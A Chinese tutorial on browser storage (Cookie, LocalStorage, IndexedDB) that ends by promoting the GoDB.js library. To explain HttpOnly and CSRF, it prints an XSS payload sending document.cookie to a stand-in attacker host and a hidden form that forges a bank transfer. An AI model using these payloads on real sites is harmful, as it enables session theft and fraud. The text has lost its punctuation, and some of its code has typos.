二手车辆交易网站如何做,seo关键词优化软件手机,wordpress安装时候500错误,怎么确认网站是什么语言做的引言
2021 年#xff0c;如果你的前端应用#xff0c;需要在浏览器上保存数据#xff0c;有三个主流方案#xff1a;
CookieWeb Storage (LocalStorage)IndexedDB
这些方案就是如今应用最广、浏览器兼容性最高的三种前端储存方案
今天这篇文章就聊一聊这三种方案的历史…引言
2021 年如果你的前端应用需要在浏览器上保存数据有三个主流方案
CookieWeb Storage (LocalStorage)IndexedDB
这些方案就是如今应用最广、浏览器兼容性最高的三种前端储存方案
今天这篇文章就聊一聊这三种方案的历史优缺点以及各自在今天的适用场景
文章在后面还会提出一个全新的基于 IndexedDB 的更适合现代前端应用的前端本地储存方案 GoDB.js
Cookie
Cookie 的历史
Cookie 早在1994 年就被发明了出来它的历史甚至和互联网本身的历史一样悠久
和其它两种本地储存方案不一样的是Cookie 本身并不是为了解决「在浏览器上存东西」而被发明它的出现是为了解决 HTTP 协议无状态特性的问题
什么是 HTTP 协议的无状态特性简单来说就是用户的两次 HTTP 请求服务端并不能通过请求本身知道这两次请求来自于同一个用户
比如我们如今司空见惯的登录功能在 Cookie 被发明之前其实几乎无法实现登录态的长久保持
也就是说Cookie 其实是作为「HTTP 协议的补充」被发明出来的因此在英文语境中大多时候其实都用 HTTP cookie 来指 Cookie
Cookie 最初被其发明者 Lou Montulli 用在电商网站上用来记录购物车里的商品这样当用户想要结账时浏览器会把 Cookie 里的商品数据以及用户信息发送给服务器服务器就能知道用户想要购买哪些商品
Cookie 在很长一段时间内都是浏览器储存数据的唯一解决方案直到今天Cookie 在很多领域仍然有大量的使用
Cookie 的今天
2021 年虽然 Cookie 在部分领域仍有不可替代的价值但其已经不再适合被做为一个前端本地储存方案去使用
Cookie 的安全问题 Cookie 在每次请求中都会被发送如果不使用 HTTPS 并对其加密其保存的信息很容易被窃取导致安全风险举个例子在一些使用 Cookie 保持登录态的网站上如果 Cookie 被窃取他人很容易利用你的 Cookie 来假扮成你登录网站当然可以用 Session 配合 Cookie 来缓解这个问题但是 Session 会占用额外的服务器资源Cookie 每次请求自动发送的特性还会导致 CSRF 攻击的安全风险Cookie 只允许储存 4kb 的数据Cookie 的操作较为繁琐复杂这一点倒是可以通过使用类库来解决
有人说由于浏览器每次请求都会带上 Cookie因此 Cookie 还有个缺点是会增加带宽占用但其实放在今天的网络环境来看这点占用基本可以忽略不计
总之如今已经不推荐使用 Cookie 来在浏览器上保存数据大部分曾经应用 Cookie 的场景在今天都可以用 LocalStorage 实现更优雅更安全的替代
但是即使 Cookie 已经不适合用来在浏览器上储存数据其在某些特定领域在今天仍然独特的价值
最常见的就是用在广告中用来跨站标记用户与跟踪用户行为这样在你访问不同页面时广告商也能知道是同一个用户在访问从而实现后续的商品推荐等功能
假设 abc.com 和 xyz.com 都内嵌了淘宝的广告你会发现即使 abc.com 和 xyz.com 所有者不一致两个网站上淘宝广告推荐的商品也出奇的一致这背后是因为淘宝知道是同一个人分别在 abc.com 和 xyz.com 访问淘宝的广告
这是如何实现的呢答案是第三方 Cookie
第三方 Cookie
之所以有第三方 Cookie 这个称呼是因为 Cookie 执行同源策略a.com 和 b.com 各自只能访问自己的 Cookie无法访问对方或者任何不属于自己的 Cookie
如果在访问 a.com 时设置了一个 b.com 的 Cookie比如内嵌 b.com 的页面那么这个 Cookie 相对于 a.com 而言就是第三方 Cookie
值得一提的是是同一个 host 下的不同端口倒是可以互相访问 Cookie
这里提一下对第三方 Cookie 而言非常重要的一个特性Cookie 可以被服务端设置
服务器可以通过 response 的请求头来要求浏览器设置 Cookie ini
复制代码
Set-Cookie: userId123;
浏览器在检测到返回请求的 header 里有 Set-Cookie 请求头后就会自动设置 Cookie不需要开发者用 JS 去做额外的操作
这样带来的好处是当 abc.com 和 xyz.com 想在自己的网页上内嵌淘宝广告时只需要把淘宝提供的组件放进 HTML 即可不需要写额外的 JS也能让淘宝进行跨站定位用户 ini
复制代码
img srctaobao.com/some-ads /
这个组件纯属虚构仅为方便理解
它是如何工作的呢
当用户处于 abc.com 时浏览器会向 taobao.com/some-ads 发起一个 HTTP 请求当淘宝服务器返回广告内容时会顺带一个 Set-Cookie 的 HTTP 请求头告诉浏览器设置一个源为 taobao.com 的 Cookie里面存上当前用户的 ID 等信息这个 Cookie 相对于 abc.com 而言就是第三方 Cookie因为它属于 taobao.com而当用户访问 xyz.com 时由于 xyz.com 上也嵌入了淘宝的广告因此用户的浏览器也会向 taobao.com/some-ads 发起请求有意思的来了发请求时浏览器发现本地已有 taobao.com 的 Cookie此前访问 abc.com 时设置的因此浏览器会将这个 Cookie 发送过去淘宝服务器根据发过来的 Cookie发现当前访问 xyz.com 的用户和之前访问 abc.com 的用户是同一个因此会返回相同的广告
广告商用第三方 Cookie 来跨站定位用户大概就是这么个过程实际肯定要复杂许多但基本原理是一致的
总之关键就是利用了 Cookie 的两个特点
Cookie 可以被服务器设置浏览器每次请求会自动带上 Cookie
正因为这两个特点即使 Cookie 在今天看来缺点一大堆但仍然在部分领域有不可替代的价值
但也是因为这两个特点导致 Cookie 的安全性相对不高总之 Cookie 的这个设计放在今天来看就是一把双刃剑
Cookie 配置
服务端要求浏览器建立 Cookie 时可以在请求头里放一些配置声明修改 Cookie 的使用特性
SameSite
在前段时间Chrome 更新 80 版本时将 Cookie 的跨站策略SameSite默认设置为了 Lax即仅允许同站或者子站访问 Cookie而老版本是 None即允许所有跨站 Cookie
这会导致用户访问 xyz.com 时浏览器默认将不会发送 Cookie 给 taobao.com导致第三方 Cookie 失效的问题
要解决的话在返回请求的 header 里将 SameSite 设置为 None 即可 ini
复制代码
Set-Cookie: userId123; SameSiteNone
Secure, HttpOnly
Cookie 还有两个常用属性 Secure 和 HttpOnly ini
复制代码
Set-Cookie: userId123; SameSiteNone; Secure; HttpOnly
其中 Secure 是只允许 Cookie 在 HTTPS 请求中被使用
而 HttpOnly 则用来禁止使用 JS 访问 cookie arduino
复制代码
ducoment.cookie // 访问被禁止了
这样最大的好处是避免了 XSS 攻击
XSS 攻击
比如你在水一个论坛这个论坛有个 bug不会对发布内容中的 HTML 标签进行过滤
某一天一个恶意用户发了个帖子内容如下 html
复制代码
scriptwindow.open(atacker.com?cookie document.cookie/script
当你访问这条帖子的内容时浏览器就会执行 script 中的代码导致你的 Cookie 被发送给攻击者接着攻击者就可以利用你的 Cookie 登录论坛然后为所欲为了
XSS 攻击在很多情况下用户甚至不会知道自己被攻击了比如利用 img/ 的 src 属性就可以做到悄无声息的把用户的信息发给攻击者
而当设置了 HttpOnly 后ducoment.cookie 将获取不到 Cookie攻击者的代码自然就无法生效了
Cookie 总结
总而言之Cookie 在今天的适用场景其实比较有限当你需要在本地储存数据时由于安全性和储存空间的问题一般不推荐使用 Cookie大部分情况下使用 Web Storage 是个更好的选择
Web Storage
在 2014 年年底发布的 HTML5 标准中新增了一个 Web Storage 的本地储存方案其包括
LocalStorageSessionStorage
SessionStorage 和 LocalStorage 使用方法基本一致唯一不同的是一旦关闭页面SessionStorage 将会删除数据因此这里主要以 LocalStorage 为例
LocalStorage 的特点是
使用 Key-Value 形式储存使用很方便大小有 10MBKey 和 Value 以字符串形式储存
LocalStorage 的使用非常简单比如要在本地保存 userId javascript
复制代码
localStorage.setItem(userId, 123); console.log(localStorage.getItem(userId)); // 123
只要用 setItem 保存过一次哪怕用户关闭了页面再次打开页面时都可以用 getItem 获取到想要的数据
LocalStorage 一出现就在许多应用场景彻底替代了 Cookie大部分需要在浏览器上存数据的场景都会优先使用 LocalStorage
它和 Cookie 的主要区别是
储存空间更大使用更方便Cookie 可以被服务器设置而 LocalStorage 只能前端手动操作Cookie 的数据会由浏览器自动发给服务器LocalStorage 需要手动取出来放到请求里面才会发给服务器因此可以避免 CSRF 攻击
CSRF 攻击
假设你在浏览器中登录过某个银行 bank.com这个银行系统使用 Cookie 来保存你的登录态
接着你访问了一个恶意网站该网站中有一个表单 html
复制代码
form actionbank.com/transfer methodpost input typehidden nameamount value100000.00/ input typehidden nametarget valueattacker/ input typesubmit value屠龙宝刀点击就送!/ /form
假设 bank.com/transfer 是用来转账的接口
当你被诱导点下了提交按钮后 由于 form 表单提交是可以跨域的你将会对 bank.com/transfer 发起一次 POST 请求 由于此前你已经登录过 bank.com浏览器会自动将你的 Cookie 一并发送过去即使你当前并未处于银行系统的页面 bank.com 收到你的带 Cookie 的请求后认为你是正常登录了的导致转账成功进行 最终你损失了一大笔钱
注意即使用 Cookie 配合 HTTPS 请求CSRF 攻击也无法被避免因为 HTTPS 请求只是对传输的数据进行了加密而 CSRF 攻击的特点是诱导你去访问某个需要你的权限的接口HTTPS 并不能阻止这种访问
这里的 CSRF 攻击的核心就是利用了浏览器会自动在所有请求里带上 Cookie 的特性
因此LocalStorage 比较常见的一个替代 Cookie 的场景就是登录态的保持比如用 token 的方法加上 HTTPS 请求就可以很大程度上提高登录的安全性避免被 CSRF 攻击但是依然无法完全避免被 XSS 攻击的风险
大概工作流程就是用户登录后从服务器拿到一个 token然后存进 LocalStorage 里之后每次请求前都从 LocalStorage 里取出 token放到请求数据里服务器就能知道是同一个用户在发起请求了由于 HTTPS 的存在也不用担心 token 会被泄露给第三方因此是很安全的
总结为什么 LocalStorage 在大部分应用场景替代了 Cookie
LocalStorage 更好用更简单储存空间更多LocalStorage 免去了 Cookie 遭受 CSRF 攻击的风险
LocalStorage 的缺点
但是LocalStorage 也不是完美的它有两个缺点
无法像 Cookie 一样设置过期时间只能存入字符串无法直接存对象
举个例子假如你想存一个对象或者非 string 的类型到 LocalStorage javascript
复制代码
localStorage.setItem(key, {name: value}); console.log(localStorage.getItem(key)); // [object, Object] localStorage.setItem(key, 1); console.log(localStorage.getItem(key)); // 1
你会发现存进去的如果是对象拿出来就变成了字符串 [object, object]数据丢失了
存进去的如果是 number拿出来也变成了 string
要解决这个问题一般是使用 JSON.stringify() 配合 JSON.parse() javascript
复制代码
localStorage.setItem(key, JSON.stringify({name: value})); console.log(JSON.parse(localStorage.getItem(key))); // {name: value}
这样就可以实现对象和非 string 类型的储存了
但是这么做有一个缺点那就是 JSON.stringify() 本身是存在一些问题的 javascript
复制代码
const a JSON.stringify({ a: undefined, b: function(){}, c: /abc/, d: new Date() }); console.log(a) // {c:{},d:2021-02-02T19:40:12.346Z} console.log(JSON.parse(a)) // {c: {}, d: 2021-02-02T19:40:12.346Z}
如上JSON.stringify() 无法正确转换 JS 的部分属性
undefiendFunctionRegExp正则表达式转换后变成了空对象Date转换后变成了字符串而非 Date 类的对象
其实还有个 Symbol 也无法被转换但由于 Symbol 本身定义全局唯一性就决定了它不应该被转换否则即使转换回来也不会是原来那个 Symbol
Function 也比较特殊不过要兼容的话可以先调用 .toString() 转换为字符串储存需要的时候再 eval 转回来
以及JSON.stringify() 无法转换循环引用的对象 javascript
复制代码
const a { key: value }; a[a] a; JSON.stringify(a); // Uncaught TypeError: Converting circular structure to JSON // -- starting at object with constructor Object // --- property a closes the circle // at JSON.stringify (anonymous)
大部分应用中JSON.stringify() 的这个问题基本上可以忽略但是一小部分场景还是会导致问题比如想保存一个正则表达式一个 Date 对象这种方法就会出问题
总结
在大部分应用场景下LocalStorage 已经能完全替代 Cookie只有类似于广告这种场景由于 Cookie 可以被服务端设置Cookie 仍存在不可替代的价值
但是 LocalStorage 并不完美它只支持 10MB 储存在一些应用场景还是不够用并且原生只支持字符串JSON.stringify() 的解决方案又不够完美因此很多时候不太适合大量数据和复杂数据的储存
IndexedDB
IndexedDB 的全称是 Indexed Database从名字中就可以看出它是一个数据库
IndexedDB 早在 2009 年就有了第一次提案但其实它和 Web Storage 几乎是同一时间普及到各大浏览器的没错就是 2015 年那会es6 也是那时候
IndexedDB 是一个正经的数据库它在问世后替代了原来不正经的 Web SQL 方案成为了当今唯一运行在浏览器里的数据库
在我看来IndexedDB 其实更适合当作终极前端本地数据储存方案
相比于 LocalStorageIndexedDB 的优点是
储存量理论上没有上限 Chrome 对 IndexedDB 储存空间限制的定义是硬盘可用空间的三分之一所有操作都是异步的相比 LocalStorage 同步操作性能更高尤其是数据量较大时原生支持储存 JS 的对象是个正经的数据库意味着数据库能干的事它都能干
但是缺点也比较致命
操作非常繁琐本身有一定门槛需要你懂数据库的概念
由于提案较早IndexedDB 的 API 设计其实是比较糟糕的对于新手而言光是想连上数据库并往里面加东西都需要折腾半天
对于简单的数据储存而言IndexedDB 的 API 显得太复杂了再加上其 API 全是异步的会带来额外的心智负担远没有 LocalStorage 简单两行代码搞定数据存取来的快
因此IndexedDB 在今天的使用规模相比 LocalStorage 差远了即使 IndexedDB 本身的设计其实更适合用来在浏览器上储存数据
总之如果不考虑 IndexedDB 的操作难度其作为一个前端本地储存方案其实是接近完美的
简单理解数据库
在使用 IndexedDB 前你首先需要懂基本的数据库概念
这里用 Excel 类比简单介绍数据库的基本概念不做太深入的讨论
需要了解四个基本概念以关系型数据库为例
数据库 Database数据表 TableIndexedDB 中叫 ObjectStore字段 Field事务 Transaction
虽然 IndexedDB 算不上关系型数据库但概念都是相通的
假设清华和北大各自需要建一个数据库用来存各自学生与教工的信息假设命名为
清华thu北大pku
这样清北之间的数据就可以相互独立
然后我们再到数据库里建表
student 表储存学生信息stuff 表储存教工信息
数据表Table是什么说白了就是一个类似于 Excel 表一样的东西
比如 student 表可以长这样 上面的 学号、姓名、年龄、专业 就是数据表的字段
当我们想往 student 表添加数据时就需要按照规定的格式往表里加数据关系型数据库的特点而 IndexedDB 允许不遵守格式
数据库也给我们提供了方法当我们知道一个学生的学号id就可以在非常短的时间内在表里成千上万个学生中快速找到这个学生并返回他的完整信息
也可以根据 id 定位对该学生的数据进行修改或者删除
id 这种每条数据唯一的值就可以被用来做主键primary key主键在表内独一无二无法添加相同主键的数据
而主键一般会被建立索引所谓对字段建立索引就是可以根据这个字段的值在表里非常快速的找到对应的数据通常不高于 O(logN)如果没有索引那可能就需要遍历整个表O(N)
增、删、改、查这些操作都需要通过事务 Transaction 来完成
如果事务中任何一个操作没有成功整个事务都会回滚在事务完成之前操作不会影响数据库不同事务之间不能互相影响
举个例子当你发起一个事务想利用这个事务添加两个学生如果第一个学生添加成功但是第二个学生添加失败事务就会回滚第一个学生将根本不会在数据库中出现过
事务在银行转账这种场景非常有用如果转账中任何一步失败了整个转账操作就和没发生过一样不会造成任何影响
在同一个 Excel 文件数据库中我们除了 student 表还可以有 stuff 表同一个数据库中有了两个不同的数据表 然后清华和北大各自分一个 Excel 文件就相当于分了两个数据库 总而言之不扯数据库各种难理解的概念我们其实完全可以用 Excel 来类比数据库
一个 Excel 文件就是一个 Database一个 ExcelDatabase里可以有很多不同表格数据表 Table表格的列的名称其实就是字段
上述类比最接近 MySQL 这种关系型数据库但放在其它一些比较特殊的数据库上可能就不太妥当比如图数据库
如果你是新手用 Excel 类比理解数据库完全没问题足以使用 IndexedDB 了
虽然说 IndexedDB 使用 key-value 的模式储存数据但你也完全可以用数据表 Table 的模式来看待它
IndexedDB 的使用
使用 IndexedDB 的第一步是打开数据库 javascript
复制代码
const request window.indexedDB.open(pku);
上面这个操作打开了名为 pku 的数据库如果不存在浏览器会自动创建
然后 request 上有三个事件 javascript
复制代码
var db; // 全局 IndexedDB 数据库实例 request.onupgradeneeded function (event) { db event.target.result; console.log(version change); }; request.onsuccess function (event) { db request.result; console.log(db connected)l; }; request.onblocked function (event) { console.log(db request blocked!) } request.onerror function (event) { console.log(error!); };
IndexedDB 有一个版本version的概念连接数据库时就可以指定版本 javascript
复制代码
const version 1; const request window.indexedDB.open(pku, version);
版本主要用来控制数据库的结构当数据库结构表结构发生变化时版本也会变化
如上request 上有四个事件
onupgradeneeded 在版本改变时触发 注意首次连接数据库时版本从 0 变成 1因此也会触发且先于 onsuccessonsuccess 在连接成功后触发onerror 在连接失败时触发比如打开版本低于当前存在的版本onblocked 在连接被阻止的时候触发比如在低版本连接未被关闭的情况下尝试发起一个高版本的连接
注意这四个事件都是异步的意味着在连接 IndexedDB 的请求发出去后需要过一段时间才能连上数据库并进行操作
开发者对数据库的所有操作都得放在异步连上数据库之后这有的时候会带来很大的不便
而开发者如果想创建数据表在 IndexedDB 里面叫做 ObjectStore只能将其放到 onupgradeneeded 事件中官方的定义是需要一个 IDBVersionChange 的事件 javascript
复制代码
request.onupgradeneeded function (event) { db event.target.result; if (!db.objectStoreNames.contains(student)) { db.createObjectStore(student, { keyPath: id, // 主键 autoIncrement: true // 自增 }); } }
上面这段代码在数据库初始化时创建了一个 student 的表并且以 id 为自增主键每加一条数据主键会自动增长无需开发者指定
在这一切做好以后终于我们可以连接数据库然后添加数据了 javascript
复制代码
const adding db.transaction(student, readwrite) // 创建事务 .objectStore(student) // 指定 student 表 .add({ name: luke, age: 22 }); adding.onsuccess function (event) { console.log(write success); }; adding.onerror function (event) { console.log(write failed); }
用同样的方法再加一条数据 javascript
复制代码
db.transaction(student, readwrite) .objectStore(student) .add({ name: elaine, age: 23 });
然后打开浏览器的开发者工具我们就能看到添加的数据 这里可以看到 IndexedDB 的 key-value 储存特性key 就是主键这里指定主键为 idvalue 就是剩下的字段和对应的数据
这个 key-value 结构对应的 Table 结构如下 如果要获取数据需要一个 readonly 的 Transaction javascript
复制代码
const request db.transaction(student, readonly) .objectStore(this.name) .get(2); // 获取 id 为 2 的数据 request.onsuccess function (event) { console.log(event.target.result) // { id: 2, name: elaine, age: 23 } }
综上哪怕只是想简单的往 IndexedDB 里增加和查询数据都需要写一大堆代码操作非常繁琐一不小心还容易掉坑里
那么有没有什么办法能更优雅的使用 IndexedDB在代码量减少的情况下还能更好的发挥其实力呢
GoDB.js
GoDB.js 是一个基于 IndexedDB 实现前端本地储存的类库
帮你做到代码更简洁的同时更好的发挥 IndexedDB 的实力 首先安装 复制代码
npm install godb
对 IndexedDB 的增删改查一行代码就可以搞定 javascript
复制代码
import GoDB from godb; const testDB new GoDB(testDB); // 连接数据库 const user testDB.table(user); // 获取数据表 const data { name: luke, age: 22 }; // 随便定义一个对象 user.add(data) // 增 .then(luke user.get(luke.id)) // 查 .then(luke user.put({ ...luke, age: 23 })) // 改 .then(luke user.delete(luke.id)); // 删
或者一次性添加许多数据然后看看效果 javascript
复制代码
const arr [ { name: luke, age: 22 }, { name: elaine, age: 23 } ]; user.addMany(arr) .then(() user.consoleTable());
上面这段代码会在添加数据后在控制台中展示出 user 表的内容 回到之前 LocalStorage 出问题的那个例子用 GoDB 就可以实现正常储存 javascript
复制代码
import GoDB from godb; const testDB new GoDB(testDB); // 连接数据库 const store testDB.table(store); // 获取数据表 const obj { a: undefined, b: /abc/, c: new Date() }; store.add(obj) .then(item store.get(item.id)) // 获取存进去的实例 .then(res console.log(res)); // { // id: 1, // a: undefined, // b: /abc/, // c: new Date() // }
并且循环引用的对象也能使用 GoDB 进行储存 javascript
复制代码
const a { key: value }; a[a] a; store.add(a) .then(item store.get(item.id)) // 获取存进去的实例 .then(result console.log(result)); // 打印出来的对象比 a 多了个 id其它完全一致
关于 GoDB 更详细的用法可以参考 GoDB 的项目官网不断完善中
godb-js.github.io
总之GoDB 可以
帮你在背后处理好 IndexedDB 各种繁琐操作帮你在背后维护好数据库、数据表和字段 以及字段的索引各种属性比如 unique帮你规范化 IndexedDB 的使用使你的项目更易维护最终开放几个简单易用的 API 给你让你用简洁的代码玩转 IndexedDB
总结
总结一下三大方案各自的特点以及适用场景
Cookie 能被服务器指定浏览器会自动在请求中带上大小只有 4kb大规模应用于广告商定位用户配合 session 也是一个可行的登录鉴权方案Web Storage 大小有 10MB使用极其简单但是只能存字符串需要转义才能存 JS 对象大部分情况下能完全替代 Cookie且更安全配合 token 可以实现更安全的登录鉴权IndexedDB 储存空间无上限功能极其强大原生支持 JS 对象能更好的储存数据以数据库的形式储存数据数据管理更规范但是原生 API 操作很繁琐且有一定使用门槛
我个人是非常看好 IndexedDB 的我认为在前端越来越复杂的未来在下一个十年各种重前端应用在线文档各种 SaaS 应用以及 Electron 环境中IndexedDB 一定能够大放光彩
比如缓存接口数据实现更好的用户体验比如在线文档富文本编辑器保存编辑历史比如任何需要在前端保存大量数据的应用
总之IndexedDB 可以说是最适合用来在前端存数据的方案只不过因为其繁琐的操作和一定的使用门槛在目前没有更简单的 localStorage 使用范围那么广而已
如果你想使用 IndexedDB推荐试试 GoDB 这个类库最大化的降低操作难度
官网持续完善 godb-js.github.io
GitHub github.com/chenstarx/G…
GoDB 项目正在持续更新优化中敬请关注~